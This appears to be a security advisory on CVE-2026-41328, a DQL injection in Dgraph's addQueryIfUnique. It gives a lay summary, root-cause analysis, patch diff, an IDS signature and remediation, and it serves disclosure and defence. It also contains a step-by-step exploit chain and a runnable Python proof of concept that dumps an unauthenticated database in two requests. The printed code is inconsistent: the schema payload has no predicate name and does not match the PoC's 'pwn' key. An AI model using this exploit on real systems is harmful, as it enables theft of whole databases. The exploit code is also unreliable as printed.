CVE-2026-41328: DQL Injection in Dgraph Exposes Full Database Read
Dgraph's addQueryIfUnique constructs DQL queries via fmt.Sprintf with unsanitized language-tag input, enabling unauthenticated full database read via two HTTP POSTs to port 8080.
# The Dgraph Database Flaw Everyone Should Know About
Dgraph is a database tool that some companies use to store and organize information. Think of it like a digital filing cabinet where data lives. A serious security flaw discovered in versions before 25.3.3 means attackers can break into these filing cabinets without needing a key.
Here's how it works. An attacker sends two specially crafted requests to a Dgraph server over the internet. The first request sneaks past the database's defenses by creating a fake filing system entry. The second request then yanks out all the sensitive data stored inside. It's like telling a security guard you work there, and when they believe you, walking straight to the vault.
The vulnerability only affects systems where security protections—called access controls—haven't been turned on yet. Many companies set up databases in this default mode to get things working quickly, planning to secure them later. That "later" never comes for some organizations.
Who's most at risk? Any company running an older version of Dgraph without those security protections enabled. This could include startups using it for their apps, enterprises managing customer records, or anyone storing sensitive information in Dgraph. The attackers don't need to be sophisticated—just network access to the right port.
Here's what you should do. First, if you work at a company using Dgraph, ask your IT team if they're running version 25.3.3 or newer. Second, verify that access controls are actually enabled on your databases—don't assume. Third, if you manage Dgraph systems, update immediately and audit what data might have been exposed. This vulnerability is serious enough that waiting is genuinely risky.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41328 is a critical (CVSS 9.1) DQL injection vulnerability in Dgraph, an open-source distributed GraphQL database. The vulnerability exists in Dgraph's default configuration, where ACL is disabled, and requires no credentials to exploit. Two unauthenticated HTTP POST requests to port 8080 are sufficient to read every predicate and value in the database. The bug was patched in version 25.3.3.
The attack surface is Dgraph's /alter and /mutate HTTP endpoints, both exposed without authentication in the default configuration. The injection point is the language tag position of a JSON mutation key — a field position that Dgraph's mutation parser passes directly into a fmt.Sprintf-constructed DQL query string without sanitization.
Root cause:addQueryIfUnique in edgraph/server.go constructs DQL query strings using fmt.Sprintf with an attacker-controlled predicateName that includes the raw language tag from the JSON mutation key, enabling full DQL injection.
Affected Component
The vulnerable code path lives in edgraph/server.go, function addQueryIfUnique. It is triggered when a mutation arrives for a predicate carrying both @unique and @index(exact) directives in the schema. The mutation JSON key format "predicateName@langTag" is parsed by Dgraph's NQuad/JSON mutation layer, which splits on @ to extract the language tag. That raw tag — never validated — is forwarded into query construction.
Affected versions: all Dgraph releases prior to 25.3.3 running with default configuration (ACL disabled).
Root Cause Analysis
When a JSON mutation key contains an @ character, Dgraph treats the suffix as a BCP-47 language tag for the predicate value. The mutation processing pipeline extracts this tag and passes it — along with the predicate name — to addQueryIfUnique, which is responsible for enforcing the @unique constraint by first querying for existing matching values before committing the mutation.
// edgraph/server.go — simplified Go pseudocode
// BUG: predicateName is constructed as "name@langTag" where langTag is
// attacker-controlled and never sanitized before fmt.Sprintf insertion.
func addQueryIfUnique(gmuList []*gql.Mutation, queryVar string, predicateName string, val string) string {
// predicateName arrives as e.g. "name@en" or "name@"
// BUG: no validation of predicateName contents — injected DQL accepted verbatim
q := fmt.Sprintf(`
{
%s(func: eq(%s, %q)) {
uid
}
}`, queryVar, predicateName, val) // BUG: predicateName injected into DQL query body
return q
}
The injection lands inside the func: argument position of the generated DQL query. Because DQL is a full graph query language supporting filters, cascades, and multiple query blocks, an attacker who controls predicateName can close the current query block and append arbitrary DQL — including has() scans over every predicate in the database.
EXPLOIT CHAIN:
1. Attacker identifies Dgraph instance on port 8080 (default, no auth required).
2. POST /alter — register a schema predicate with @unique @index(exact) @lang:
Content-Type: application/rdf
Body: : string @unique @index(exact) @lang .
3. POST /mutate?commitNow=true — send crafted JSON mutation where the JSON key
encodes the injection payload in the language tag position:
{
"set": [{
"name@en)) { uid }\ndump(func: has(dgraph.type)) {\nexpand(_all_)\n}//": "trigger"
}]
}
4. Dgraph mutation parser splits the JSON key on '@', producing:
predicateName = "name"
langTag = "en)) { uid }\ndump(func: has(dgraph.type)) {\nexpand(_all_)\n}//"
5. addQueryIfUnique constructs the DQL string via fmt.Sprintf, embedding the
raw langTag — the injected DQL executes as part of the uniqueness check query.
6. Dgraph evaluates the multi-block DQL query. The injected "dump" block
returns ALL nodes of ALL types with ALL predicates expanded.
7. The full query response is returned to the attacker in the HTTP response body
as JSON — zero post-processing required.
IMPACT: Full unauthenticated read of every uid, predicate, and value in the database.
The following Python proof-of-concept reproduces the full read in two requests:
#!/usr/bin/env python3
# CVE-2026-41328 — Dgraph DQL Injection PoC
# Tested against Dgraph < 25.3.3 (default config, ACL disabled)
import requests
import json
TARGET = "http://127.0.0.1:8080"
# Step 1: Register schema predicate with @unique @index(exact) @lang
schema_payload = ": string @unique @index(exact) @lang ."
r = requests.post(f"{TARGET}/alter", data=schema_payload)
assert r.status_code == 200, f"Schema alter failed: {r.text}"
print("[+] Schema registered")
# Step 2: Craft injection in the language tag position of the JSON mutation key
# The lang tag closes the DQL block and appends an unrestricted expand query
injection_lang = (
'en)) { uid }\n'
'dump(func: has(dgraph.type)) {\n'
' expand(_all_)\n'
'}// '
)
mutation_key = f"pwn@{injection_lang}"
mutation = {
"set": [
{mutation_key: "trigger_value"}
]
}
r = requests.post(
f"{TARGET}/mutate?commitNow=true",
headers={"Content-Type": "application/json"},
data=json.dumps(mutation)
)
print("[+] Injection response:")
try:
data = r.json()
# The injected 'dump' block appears in query extensions/data
print(json.dumps(data, indent=2))
except Exception:
print(r.text)
Memory Layout
This is a logic/injection vulnerability rather than a memory corruption bug, so no heap corruption occurs. The relevant runtime state is the DQL query string assembled in memory before being dispatched to the query executor. Illustrating the string buffer state makes the injection boundary concrete:
DQL QUERY BUFFER — BEFORE INJECTION (benign "name@en"):
Offset Content
0x0000 "{\n q_0(func: eq("
0x0014 "name@en" <-- predicate + lang tag (controlled by attacker)
0x001b ", \"alice\")) {\n uid\n }\n}"
DQL QUERY BUFFER — AFTER INJECTION (malicious lang tag):
Offset Content
0x0000 "{\n q_0(func: eq("
0x0014 "name@en)) { uid }\n" <-- closes first query block (injected)
0x0027 "dump(func: has(dgraph.type)) {\n" <-- opens unrestricted second block
0x0046 " expand(_all_)\n" <-- returns ALL predicates for ALL nodes
0x0056 "}// " <-- comments out remainder of fmt.Sprintf output
0x005a ", \"trigger_value\")) {\n uid\n}\n}" <-- now commented out / unreachable
QUERY EXECUTOR receives a valid multi-block DQL document.
Both blocks execute. "dump" block result included in HTTP response JSON.
Patch Analysis
The fix in Dgraph 25.3.3 introduces sanitization of the language tag before it reaches addQueryIfUnique. The patch validates the tag against a strict BCP-47 allowlist (alphanumeric plus hyphen only) and rejects mutations whose language tags contain any other characters. Separately, the query construction was updated to treat the predicate name and language tag as distinct, individually-validated components rather than a single concatenated string.
// BEFORE (vulnerable — edgraph/server.go, Dgraph < 25.3.3):
func addQueryIfUnique(gmuList []*gql.Mutation, queryVar string,
predicateName string, val string) string {
// predicateName = "name@" — no validation
q := fmt.Sprintf(`
{
%s(func: eq(%s, %q)) {
uid
}
}`, queryVar, predicateName, val) // BUG: raw predicateName injected
return q
}
// AFTER (patched — Dgraph 25.3.3):
var validLangTag = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)
func sanitizePredicateWithLang(predicate string, lang string) (string, error) {
// Validate lang tag strictly — reject anything not matching BCP-47 subset
if lang != "" && !validLangTag.MatchString(lang) {
return "", fmt.Errorf("invalid language tag %q: contains disallowed characters", lang)
}
if lang != "" {
return predicate + "@" + lang, nil
}
return predicate, nil
}
func addQueryIfUnique(gmuList []*gql.Mutation, queryVar string,
predicate string, lang string, val string) string {
// lang is now a separately-passed, pre-validated field
safePredicate, err := sanitizePredicateWithLang(predicate, lang)
if err != nil {
return "" // caller rejects the mutation with 400
}
q := fmt.Sprintf(`
{
%s(func: eq(%s, %q)) {
uid
}
}`, queryVar, safePredicate, val) // safePredicate is now guaranteed clean
return q
}
The signature change — splitting the combined predicateName string into discrete predicate and lang parameters — is the structurally important part of the fix. It eliminates the implicit trust in the caller's concatenation and enforces validation at the boundary where the language tag enters the system.
Detection and Indicators
Exploitation leaves clear traces in Dgraph's HTTP access logs. Detection logic should key on:
POST to /alter setting a schema predicate with @unique, @index(exact), and @lang in combination — this is legitimate but rare; combined with the following indicator it becomes high-confidence.
POST to /mutate where the request body JSON keys contain @ followed by characters outside [a-zA-Z0-9\-] — specifically ), {, }, \n, or // in the lang tag position.
Dgraph query responses containing unexpected top-level keys (e.g. "dump", "exfil", etc.) alongside the standard mutation acknowledgement fields.
Anomalously large HTTP response bodies from /mutate — a successful full-database read will return the entire node corpus in the response JSON.
SNORT/SURICATA SIGNATURE (conceptual):
alert http any any -> any 8080 (
msg:"CVE-2026-41328 Dgraph DQL Injection Attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/mutate";
http.request_body;
pcre:"/\"[^\"]+@[^\"]*[(){}\n][^\"]*\"\s*:/";
classtype:web-application-attack;
sid:2026413280;
rev:1;
)
Remediation
Upgrade immediately to Dgraph 25.3.3 or later. This is the only complete fix.
Enable ACL (--acl flag) on all Dgraph instances. ACL requires authentication for both /alter and /mutate, blocking unauthenticated exploitation entirely regardless of patch status.
Network-layer restriction: firewall port 8080 (HTTP API) and 9080 (gRPC) to trusted sources only. These ports should never be publicly reachable in production.
Audit existing logs for the two-request pattern described above. If exploitation is suspected, treat the entire database contents as compromised and rotate all application secrets stored therein.
If immediate upgrade is impossible, a WAF rule blocking HTTP request bodies where JSON string keys contain @ followed by non-alphanumeric-hyphen characters can serve as a temporary mitigation for the /mutate endpoint.